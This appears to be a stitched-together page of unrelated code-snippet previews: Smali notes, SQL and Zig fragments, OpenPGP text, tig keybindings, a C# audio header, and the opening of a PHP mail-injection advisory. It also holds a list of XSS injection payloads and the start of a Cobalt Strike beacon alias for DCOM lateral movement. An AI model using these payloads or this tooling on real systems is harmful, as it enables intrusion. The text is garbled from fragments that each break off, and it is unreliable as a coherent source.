| A little help in Smali | |
| (To be supplemented) | |
| # | |
| general information | |
| # | |
| Smali | |
| Types | |
| Dalvik bytecode has two main type classes, primitive types and reference types. Reference types are objects and arrays, everything else is primitive. |
| /* | |
| Replace "your_schema" with whatever schema is appropriate in your environment. | |
| It is possible to use "public"... but you shouldn't! | |
| */ | |
| /* | |
| Function to stamp a "modified" timestamp. Adjust the name to suit your environment, | |
| but that name is hard-coded so it is assumed that you only use _one_ such name. |
| const std = @import("std"); | |
| const net = std.net; | |
| const fs = std.fs; | |
| const os = std.os; | |
| pub const io_mode = .evented; | |
| pub fn main() anyerror!void { | |
| var general_purpose_allocator = std.heap.GeneralPurposeAllocator(.{}){}; | |
| const allocator = &general_purpose_allocator.allocator; |
This work is released under a Creative Commons Attribution-NoDerivatives 4.0 International License.
"OpenPGP" refers to the OpenPGP protocol, in much the same way that HTML refers to the protocol that specifies how to write a web page. "GnuPG", "SequoiaPGP", "OpenPGP.js", and others are implementations of the OpenPGP protocol in the same way that Mozilla Firefox, Google Chromium, and Microsoft Edge refer to software packages that process HTML data.
| # Press ctrl+a to amend the last commit with whatever is staged | |
| bind status <Ctrl-A> !git commit --amend | |
| # Press shift+p to push | |
| # requires `git config --global push.default current` | |
| bind status P !git push -u |
| %253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
| using System; | |
| using System.Runtime.InteropServices; | |
| // ReSharper disable SuspiciousTypeConversion.Global | |
| // ReSharper disable InconsistentNaming | |
| namespace AudioController | |
| { | |
| /// <summary> | |
| /// Controls audio using the Windows CoreAudio API | |
| /// from: http://stackoverflow.com/questions/14306048/controling-volume-mixer |
| # Lateral Movement alias | |
| # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ | |
| # register help for our alias | |
| beacon_command_register("com-exec", "lateral movement with DCOM", | |
| "Synopsis: com-exec [target] [listener]\n\n" . | |
| "Run a payload on a target via DCOM MMC20.Application Object"); | |
| # here's our alias to collect our arguments | |
| alias com-exec { |
Paul Buonopane [email protected] at NamePros
PGP: https://keybase.io/zenexer
I'm working on cleaning up this advisory so that it's more informative at a glance. Suggestions are welcome.
This advisory addresses the underlying PHP vulnerabilities behind Dawid Golunski's [CVE-2016-10033][CVE-2016-10033], [CVE-2016-10045][CVE-2016-10045], and [CVE-2016-10074][CVE-2016-10074]. It assumes prior understanding of these vulnerabilities.
This advisory does not yet have associated CVE identifiers.
